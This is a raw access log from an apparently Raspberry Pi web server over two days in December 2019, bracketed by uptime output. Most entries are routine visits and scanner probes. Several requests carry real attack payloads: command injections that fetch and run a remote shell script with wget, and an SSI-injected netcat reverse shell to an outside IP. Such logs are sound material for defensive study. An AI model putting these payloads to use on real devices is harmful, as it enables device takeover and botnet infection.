Sun Dec 22 06:25:06 MST 2019 06:25:06 up 2 days, 21:16, 1 user, load average: 0.54, 0.31, 0.31 USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT pi tty7 :0 Thu03 3days 1:52 1.35s /usr/bin/lxsession -s LXDE-pi -e LXDE 74.63.227.26 - - [22/Dec/2019:13:58:26 +0000] "UNKNOWN UNKNOWN" 0 0 "" "" 74.63.227.26 - - [22/Dec/2019:13:58:26 +0000] "HEAD /robots.txt HTTP/1.0" 200 0 "" "" 190.57.161.58 - - [22/Dec/2019:14:40:30 +0000] "GET / HTTP/1.1" 200 25000 "" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36" 193.238.46.18 - - [22/Dec/2019:14:52:01 +0000] "GET /.git/config HTTP/1.1" 404 0 "" "python-requests/2.22.0" 51.75.24.151 - - [22/Dec/2019:16:00:01 +0000] "GET / HTTP/1.0" 200 25000 "" "masscan/1.0 (https://github.com/robertdavidgraham/masscan)" 128.14.133.58 - - [22/Dec/2019:16:14:01 +0000] "GET / HTTP/1.1" 200 25000 "" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 " 41.39.159.99 - - [22/Dec/2019:17:07:03 +0000] "UNKNOWN UNKNOWN" 400 0 "" "" 41.39.159.99 - - [22/Dec/2019:17:08:06 +0000] "UNKNOWN UNKNOWN" 408 0 "" "" 180.241.15.150 - - [22/Dec/2019:17:12:02 +0000] "GET / HTTP/1.1" 200 25000 "" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36" 86.59.172.176 - - [22/Dec/2019:17:42:09 +0000] "GET / HTTP/1.1" 200 25000 "" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36" 212.100.153.130 - - [22/Dec/2019:18:23:29 +0000] "GET / HTTP/1.1" 200 25000 "" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36" 51.158.29.48 - - [22/Dec/2019:19:25:54 +0000] "GET /w00tw00t.at.blackhats.romanian.anti-sec:) HTTP/1.1" 404 0 "" "ZmEu" 51.158.29.48 - - [22/Dec/2019:19:25:54 +0000] "GET /phpmyadmin/scripts/setup.php HTTP/1.1" 404 0 "" "ZmEu" 51.158.29.48 - - [22/Dec/2019:19:25:55 +0000] "GET /pma/scripts/setup.php HTTP/1.1" 404 0 "" "ZmEu" 51.158.29.48 - - [22/Dec/2019:19:25:55 +0000] "GET /myadmin/scripts/setup.php HTTP/1.1" 404 0 "" "ZmEu" 157.52.156.49 - - [22/Dec/2019:19:45:57 +0000] "UNKNOWN UNKNOWN" 0 0 "" "" 157.52.156.49 - - [22/Dec/2019:19:45:57 +0000] "GET /?0.795090214943366383040084829900 HTTP/1.1" 200 25000 "" "" 157.52.156.49 - - [22/Dec/2019:19:45:58 +0000] "GET /?0.408414146776504407175263107072 HTTP/1.1" 200 25000 "" "" 51.158.29.49 - - [22/Dec/2019:20:08:03 +0000] "GET /w00tw00t.at.blackhats.romanian.anti-sec:) HTTP/1.1" 404 0 "" "ZmEu" 51.158.29.49 - - [22/Dec/2019:20:08:03 +0000] "GET /phpmyadmin/scripts/setup.php HTTP/1.1" 404 0 "" "ZmEu" 51.158.29.49 - - [22/Dec/2019:20:08:03 +0000] "GET /pma/scripts/setup.php HTTP/1.1" 404 0 "" "ZmEu" 51.158.29.49 - - [22/Dec/2019:20:08:04 +0000] "GET /myadmin/scripts/setup.php HTTP/1.1" 404 0 "" "ZmEu" 79.79.188.101 - - [22/Dec/2019:21:03:08 +0000] "GET / HTTP/1.1" 200 25000 "" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36" 221.146.69.150 - - [22/Dec/2019:21:06:51 +0000] "POST /editBlackAndWhiteList HTTP/1.1" 404 0 "" "ApiTool" 63.247.65.162 - - [22/Dec/2019:21:29:06 +0000] "GET //admin/config.php?password%5B0%5D=bebydviyx&username=admin HTTP/1.1" 400 0 "" "" 5.144.130.21 - - [22/Dec/2019:22:18:07 +0000] "GET /wp-login.php HTTP/1.1" 404 0 "" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:62.0) Gecko/20100101 Firefox/62.0" 103.75.42.10 - - [22/Dec/2019:22:35:24 +0000] "GET / HTTP/1.1" 200 25000 "" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36" 178.73.215.171 - - [22/Dec/2019:22:47:16 +0000] "GET / HTTP/1.0" 200 25000 "" "" 41.46.2.71 - - [23/Dec/2019:00:02:02 +0000] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.132.53.119/Venom.sh%20-O%20-%3E%20/tmp/kh;Venom.sh%20/tmp/kh%27$ HTTP/1.1" 400 0 "" "Hakai/2.0" 41.46.2.71 - - [23/Dec/2019:00:02:02 +0000] "UNKNOWN UNKNOWN" 400 0 "" "" 41.46.2.71 - - [23/Dec/2019:00:02:05 +0000] "UNKNOWN UNKNOWN" 400 0 "" "" 41.46.2.71 - - [23/Dec/2019:00:02:06 +0000] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.132.53.119/Venom.sh%20-O%20-%3E%20/tmp/kh;Venom.sh%20/tmp/kh%27$ HTTP/1.1" 400 0 "" "Hakai/2.0" 177.75.56.150 - - [23/Dec/2019:00:26:36 +0000] "GET / HTTP/1.1" 200 25000 "" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36" 94.102.49.104 - - [23/Dec/2019:00:34:01 +0000] "GET /incl/image_test.shtml?camnbr=%3c%21--%23exec%20cmd=%22mkfifo%20/tmp/s;nc%20-w%205%2094.102.49.104%2031112%200%3C/tmp/s|/bin/sh%3E/tmp/s%202%3E/tmp/s;rm%20/tmp/s%22%20--%3e HTTP/1.0" 404 0 "" "" 41.42.103.156 - - [23/Dec/2019:00:47:48 +0000] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.132.53.119/Venom.sh%20-O%20-%3E%20/tmp/kh;Venom.sh%20/tmp/kh%27$ HTTP/1.1" 400 0 "" "Hakai/2.0" 41.42.103.156 - - [23/Dec/2019:00:47:49 +0000] "UNKNOWN UNKNOWN" 400 0 "" "" 77.120.95.20 - - [23/Dec/2019:01:14:01 +0000] "GET / HTTP/1.1" 200 25000 "" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36" 74.63.227.26 - - [23/Dec/2019:01:40:35 +0000] "UNKNOWN UNKNOWN" 0 0 "" "" 74.63.227.26 - - [23/Dec/2019:01:40:35 +0000] "HEAD /robots.txt HTTP/1.0" 200 0 "" "" 143.0.244.85 - - [23/Dec/2019:01:46:43 +0000] "GET / HTTP/1.1" 200 25000 "" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36" 180.244.235.72 - - [23/Dec/2019:01:53:30 +0000] "GET / HTTP/1.1" 200 25000 "" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36" 189.89.18.96 - - [23/Dec/2019:01:59:56 +0000] "GET / HTTP/1.1" 200 25000 "" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36" 165.227.4.106 - - [23/Dec/2019:02:20:01 +0000] "GET / HTTP/1.0" 200 25000 "" "masscan/1.0 (https://github.com/robertdavidgraham/masscan)" 157.52.156.49 - - [23/Dec/2019:02:21:55 +0000] "UNKNOWN UNKNOWN" 0 0 "" "" 157.52.156.49 - - [23/Dec/2019:02:21:55 +0000] "GET /?0.698269138979681929900031759876 HTTP/1.1" 200 25000 "" "" 157.52.156.49 - - [23/Dec/2019:02:21:55 +0000] "GET /?0.85727513496816309096001020424 HTTP/1.1" 200 25000 "" "" 86.137.50.21 - - [23/Dec/2019:04:56:09 +0000] "GET / HTTP/1.0" 200 25000 "" "" 45.229.53.243 - - [23/Dec/2019:06:59:21 +0000] "GET / HTTP/1.1" 200 25000 "" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7" 157.245.104.96 - - [23/Dec/2019:07:26:43 +0000] "UNKNOWN HTTP/1.1" 400 0 "" "" 157.245.104.96 - - [23/Dec/2019:07:26:44 +0000] "GET /azenv.php HTTP/1.1" 404 0 "https://www.google.com/" "PxBroker/0.3.2/7230" 159.65.11.106 - - [23/Dec/2019:08:55:38 +0000] "GET / HTTP/1.0" 200 25000 "" "masscan/1.0 (https://github.com/robertdavidgraham/masscan)" 157.52.156.49 - - [23/Dec/2019:08:58:24 +0000] "UNKNOWN UNKNOWN" 0 0 "" "" 157.52.156.49 - - [23/Dec/2019:08:58:24 +0000] "GET /?0.410904306454203583430452620720 HTTP/1.1" 200 25000 "" "" 157.52.156.49 - - [23/Dec/2019:08:58:25 +0000] "GET /?0.549120205867487163665258000644 HTTP/1.1" 200 25000 "" "" 191.205.200.215 - - [23/Dec/2019:09:17:53 +0000] "GET / HTTP/1.1" 200 25000 "" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36" 51.158.29.48 - - [23/Dec/2019:09:50:36 +0000] "GET /w00tw00t.at.blackhats.romanian.anti-sec:) HTTP/1.1" 404 0 "" "ZmEu" 51.158.29.48 - - [23/Dec/2019:09:50:37 +0000] "GET /phpmyadmin/scripts/setup.php HTTP/1.1" 404 0 "" "ZmEu" 51.158.29.48 - - [23/Dec/2019:09:50:37 +0000] "GET /pma/scripts/setup.php HTTP/1.1" 404 0 "" "ZmEu" 51.158.29.48 - - [23/Dec/2019:09:50:37 +0000] "GET /myadmin/scripts/setup.php HTTP/1.1" 404 0 "" "ZmEu" 197.232.1.182 - - [23/Dec/2019:10:06:58 +0000] "GET /manager/html HTTP/1.1" 404 0 "" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2; WOW64; Trident/6.0)" 5.32.176.115 - - [23/Dec/2019:10:43:53 +0000] "GET / HTTP/1.1" 200 25000 "" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36" 51.89.228.124 - - [23/Dec/2019:12:56:32 +0000] "UNKNOWN UNKNOWN" 0 0 "" "" 51.89.228.124 - - [23/Dec/2019:12:56:32 +0000] "HEAD /robots.txt HTTP/1.0" 200 0 "" "" Mon Dec 23 06:25:13 MST 2019 06:25:13 up 3 days, 21:16, 1 user, load average: 0.60, 0.30, 0.30 USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT pi tty7 :0 Thu03 4days 2:32 1.72s /usr/bin/lxsession -s LXDE-pi -e LXDE